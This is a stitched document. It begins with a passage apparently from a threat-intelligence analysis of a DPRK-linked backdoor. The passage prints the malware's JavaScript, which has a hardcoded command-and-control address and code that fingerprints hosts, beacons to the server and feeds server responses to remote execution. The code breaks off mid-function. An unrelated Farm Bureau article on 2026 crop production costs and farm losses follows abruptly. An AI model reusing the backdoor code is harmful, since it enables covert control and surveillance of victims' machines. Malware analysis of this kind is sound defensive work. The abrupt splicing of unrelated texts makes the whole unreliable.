This rou­tine gath­ers the sys­tem host­name, MAC ad­dresses from avail­able net­work in­ter­faces, and ba­sic op­er­at­ing sys­tem de­tails. These val­ues pro­vide a sta­ble fin­ger­print that can be used to uniquely iden­tify in­fected hosts and as­so­ci­ate them with a spe­cific cam­paign or op­er­a­tor ses­sion. In ad­di­tion to lo­cal host iden­ti­fiers, the back­door at­tempts to de­ter­mine the vic­tim’s pub­lic-fac­ing IP ad­dress by query­ing the ex­ter­nal ser­vice ip­ify.org, a tech­nique that has also been ob­served in prior DPRK-linked cam­paigns. Persistent com­mu­ni­ca­tion with the C2 server is im­ple­mented through a polling rou­tine that pe­ri­od­i­cally sends host in­for­ma­tion and processes server re­sponses. The bea­con­ing logic is han­dled by the fol­low­ing func­tion:

This func­tion pe­ri­od­i­cally sends sys­tem fin­ger­print­ing data to a re­mote server and waits for a re­sponse. The bea­con ex­e­cutes every five sec­onds, pro­vid­ing fre­quent in­ter­ac­tion op­por­tu­ni­ties.

The server re­sponse in­di­cates suc­cess­ful con­nec­tiv­ity and al­lows the back­door to main­tain an ac­tive ses­sion while await­ing task­ing.

If the server re­sponse con­tains a spe­cific sta­tus value, the con­tents of the re­sponse mes­sage are passed di­rectly to the re­mote code ex­e­cu­tion rou­tine, men­tioned prior. While mon­i­tor­ing a com­pro­mised sys­tem, Jamf Threat Labs ob­served fur­ther JavaScript in­struc­tions be­ing ex­e­cuted roughly eight min­utes af­ter the ini­tial in­fec­tion. The re­trieved JavaScript went on to set up a very sim­i­lar pay­load to the same C2 in­frus­truc­ture.

/opt/homebrew/Cellar/node/24.8.0/bin/node -e

let agen­tId = “d2bdc4a4-6c8a-474a-84cf-b3219a1e68e4”

const SERVER_IP = “http://​87.236.177.9:3000/”

let han­dle­Code = “8503488878”

const { spawn, spawn­Sync } = re­quire(“child_process”);

const os = re­quire(“os”);

const path = re­quire(“path”);

const man­aged­Pids = new Set();

func­tion stopAll­Processes() {

for (const pid of man­aged­Pids) {

try {

if (process.platform === “win32”) {

re­quire(“child_process”).spawn(“taskkill”, [“/PID”, String(pid), “/T”, “/F”], { stdio: “ignore” });

} else {

process.kill(-pid, “SIGTERM”);

set­Time­out(() => { try { process.kill(-pid, “SIGKILL”); } catch {} }, 1000);

} catch {}

man­aged­Pids.clear();

async func­tion get­Sys­tem­Info() {

// PC host­name

const host­name = os.host­name();

// MACs (from all in­ter­faces)

const macs = Object.values(os.networkInterfaces())

.flat()

.filter(Boolean)

.map(n => n.mac)

.filter(mac => mac && mac !== “00:00:00:00:00:00”);

// OS de­tails

const os­Name = os.type();

const os­Re­lease = os.re­lease();

const plat­form = os.plat­form();

// Public IP

let pub­licIp = “unknown”;

try {

const res = await fetch(“https://​api.ip­ify.org?for­mat=json”);

const data = await res.json();

pub­licIp = data.ip;

} catch (err) {

re­portEr­ror(‘deps-ad­dress’,err)

re­turn {

host­name,

pub­licIp,

macs,

os: os­Name + ” ” + os­Re­lease + ” (” + plat­form + “)”

async func­tion re­portEr­ror(type, er­ror) {

const pay­load = {

type, // you can ad­just type as needed

host­name: os.host­name(),

mes­sage: er­ror.mes­sage || String(error),

agen­tId,

han­dle­Code

try {

const url = SERVER_IP + “api/reportErrors”

const res = await fetch(url, {

method: “POST”,

head­ers: { “Content-Type”: “application/json” },

body: JSON.stringify(payload),

} catch (e) {

async func­tion re­quest­Server (sysInfo) {

new Promise((resolve, re­ject) => {

const url = SERVER_IP + “api/handleErrors”

fetch( url, {

method: “POST”,

ADVOCACYTake ActionAmerica’s Farmers and Ranchers Are Facing an Economic Breaking PointEnergy: Call on Congress to Make Year-Round E15 PermanentINITIATIVESABOUTWho We AreWhat We DoFrom the Desk of President Duvall

ISSUES

TRENDING TOPICS

about Home

Who We Are

What We Do

From the Desk of President Duvall

Per-acre pro­duc­tion costs for all nine prin­ci­pal row crops are pro­jected to rise again in 2026, con­tin­u­ing a trou­bling trend that be­gan af­ter 2021. Inflated op­er­at­ing costs re­main the pri­mary dri­vers of higher breakeven prices, with lim­ited re­lief ex­pected in the near term.Re­cent pro­grams have off­set a por­tion of losses, but do not fully close the gap be­tween costs and mar­ket re­turns, leav­ing many farm­ers po­ten­tially op­er­at­ing be­low breakeven for an­other year.The USDA-Economic Research Service (ERS) December up­date to Commodity Costs and Returns pro­vides a com­pre­hen­sive look at per-acre pro­duc­tion costs for the nine prin­ci­pal row crops: corn, soy­beans, wheat, cot­ton, rice, bar­ley, oats, peanuts and sorghum. At a high level, ERS pro­jects av­er­age to­tal costs per acre to in­crease for every crop in 2026, un­der­scor­ing the per­sis­tence of el­e­vated pro­duc­tion ex­penses across U.S. agri­cul­ture. When op­er­at­ing ex­penses and farm-wide costs like equip­ment, land and man­age­ment are com­bined, costs vary widely by crop. In 2025, fore­casted to­tal per-acre costs are $1,308 for rice, $1,166 for peanuts, $943 for cot­ton, $890 for corn, $658 for soy­beans, $498 for oats, $491 for bar­ley, $443 for sorghum, and $396 for wheat. Looking ahead, ERS pro­jec­tions for 2026 sug­gest con­tin­ued up­ward pres­sure across most cost cat­e­gories, with to­tal cost in­creas­ing any­where from 2.2% to 3.3%. Amongst the nine prin­ci­pal crops, wheat ($409 per acre), sorghum ($458) and oats ($513) re­main at the lower end of the pro­duc­tion cost spec­trum, while soy­beans ($678) and bar­ley ($507) fall in the mid-range in 2026. Cotton ($965), peanuts ($1,194) and rice ($1,336) re­main the most ex­pen­sive crops to pro­duce on a per-acre ba­sis. Operating costs—ex­penses di­rectly tied to pro­duc­ing a yearly crop, such as seed, fer­til­izer, chem­i­cals, fuel and la­bor—sub­stan­tially vary across crops. In 2025, to­tal op­er­at­ing costs ranged from $155 per acre for wheat to more than $764 per acre for rice and $631 per acre for peanuts. In 2026, these costs are ex­pected to rise, rang­ing from $774 per acre for rice and $160 per acre for wheat. While se­lect in­puts have mod­er­ated slightly from re­cent peaks, over­all op­er­at­ing ex­penses re­main well above pre-2021 lev­els. Rising costs since 2020 have been dri­ven pri­mar­ily by sharp in­creases in in­ter­est ex­penses (+71%), fer­til­izer (+37%), fuel and oil (+32%), la­bor (+47%), chem­i­cals (+25%) and main­te­nance (+27%), along­side no­table gains in seed (+18%) and mar­ket­ing costs (+18%). Losses Persist Even After FBA and ECAP Against this back­drop of el­e­vated costs, com­mod­ity prices have re­mained un­der pres­sure, lim­it­ing farm­ers’ abil­ity to cover their costs through the mar­ket­place alone. As a re­sult, many farms are pro­jected to ex­pe­ri­ence losses for a fourth or fifth con­sec­u­tive year, even af­ter ac­count­ing for crop in­sur­ance in­dem­ni­ties and ad hoc as­sis­tance. The Farmer Bridge Assistance (FBA) Program and the Emergency Commodity Assistance Program (ECAP) pro­vide im­por­tant near-term sup­port. However, ECAP was de­signed to ad­dress 2023 and 2024 losses, rather than 2025 and later pro­duc­tion chal­lenges. For both pro­grams, pay­ments are cal­cu­lated on a per-acre ba­sis. However, when com­pared to cur­rent per-acre pro­duc­tion costs and weak com­mod­ity prices, these pay­ments gen­er­ally cover only a share of losses rather than re­store prof­itabil­ity. In fact, re­turns over to­tal costs for all nine prin­ci­pal row crops are pro­jected to re­main neg­a­tive on a per-acre ba­sis even af­ter ac­count­ing for fed­eral as­sis­tance. Based on loss cal­cu­la­tions used in the Farmer Bridge Assistance Program, rice pro­duc­ers face losses of roughly $210 per acre, fol­lowed by cot­ton ($202), oats ($159), peanuts ($131), sorghum ($91), corn ($87), wheat ($70), soy­beans ($61) and bar­ley ($42). In to­tal, net losses across the sec­tor are es­ti­mated to ex­ceed $50 bil­lion over the past three crop years.For many farms, aid helps slow the ero­sion of work­ing cap­i­tal but does not fully off­set neg­a­tive mar­gins. As a re­sult, pro­duc­ers con­tinue to ab­sorb mul­ti­year losses that strain bal­ance sheets, tighten cash flow and com­pli­cate ac­cess to op­er­at­ing credit. These loss es­ti­mates re­flect na­tional av­er­ages; ac­tual costs of pro­duc­tion and re­turns vary by re­gion, man­age­ment de­ci­sions and own­er­ship struc­ture. For ex­am­ple, pro­duc­ers who own their farm­land may face lower to­tal costs by avoid­ing cash rental ex­penses, re­sult­ing in higher re­turns.Ac­tion Alert: America’s Farmers and Ranchers Are Facing an Economic Breaking Point

Specialty Crops

Additionally, nei­ther the FBA pro­gram nor the ECAP ad­dress losses in the spe­cialty crops mar­ket. The 2024 Marketing Assistance for Specialty Crop Program (MASC) pro­vided a first but lim­ited re­lief step for grow­ers and, for many, rep­re­sented some of the first fed­eral as­sis­tance tied to mar­ket chal­lenges in the sec­tor. Specialty crop grow­ers con­tinue to face deep and per­sis­tent eco­nomic losses dri­ven by ris­ing in­put costs, tight­en­ing mar­gins, weather and dis­ease dis­rup­tions, la­bor ex­penses and con­straints, and global trade in­sta­bil­ity — chal­lenges shared by field crop agri­cul­ture, in­clud­ing pro­duc­ers of crops be­yond the nine prin­ci­pal crops, such as al­falfa and sugar beets. Strengthening sup­port for all sec­tors of agri­cul­ture is an eco­nomic ne­ces­sity. Doing so will help main­tain a re­silient, ac­ces­si­ble and di­verse U.S. food sys­tem. ERS cost pro­jec­tions make clear that in­put costs for all of the nine prin­ci­pal row crops re­main el­e­vated and sticky. Continued in­creases in both op­er­at­ing and over­head ex­penses are push­ing breakeven prices higher, while com­mod­ity prices re­main in­suf­fi­cient to off­set those costs for many pro­duc­ers. While FBA and ECAP pay­ments are an im­por­tant and wel­come step in ad­dress­ing near-term fi­nan­cial stress, they do not fully close the gap be­tween costs and re­turns. As farm­ers en­ter the 2026/27 mar­ket­ing year, ac­cu­mu­lated losses — es­ti­mated to ex­ceed $50 bil­lion across the sec­tor over the past three crop years — con­tinue to weigh on farm fi­nances. These es­ti­mates re­flect na­tional av­er­age con­di­tions and are cal­cu­lated ahead of the grow­ing sea­son, be­fore pro­duc­ers make fi­nal plant­ing, in­put and mar­ket­ing de­ci­sions. In prac­tice, farm­ers re­spond to mar­ket sig­nals by ad­just­ing crop mix, in­put use and risk man­age­ment strate­gies as con­di­tions evolve. While out­comes vary widely by re­gion and op­er­a­tion, per­sis­tently el­e­vated breakeven prices un­der­score the im­por­tance of mar­ket-dri­ven so­lu­tions that strengthen do­mes­tic de­mand — such as year-round ac­cess to E15 — to help sup­port com­mod­ity prices and im­prove farm mar­gins. Much-needed safety net en­hance­ments through the One Big Beautiful Bill Act (OBBBA) are ex­pected to take ef­fect in October 2026, but those changes do not ad­dress the pres­sures farm­ers face to­day. In a re­cent let­ter to Congress or­ga­nized by the American Farm Bureau Federation and signed by 56 agri­cul­tural or­ga­ni­za­tions, farm groups warned of an eco­nomic cri­sis in rural America, cit­ing mul­ti­year losses dri­ven by record-high in­put costs and his­tor­i­cally low com­mod­ity prices. Congressional lead­ers from both par­ties have ac­knowl­edged the sever­ity of these losses and the need for ad­di­tional aid to sta­bi­lize farm fi­nances. Until longer-term pol­icy im­prove­ments take hold, many op­er­a­tions re­main caught be­tween high op­er­at­ing costs and low com­mod­ity prices, un­der­scor­ing the on­go­ing fi­nan­cial strain fac­ing U.S. agri­cul­ture as pro­duc­ers weigh whether they can af­ford to plant an­other crop.

VIEW ALL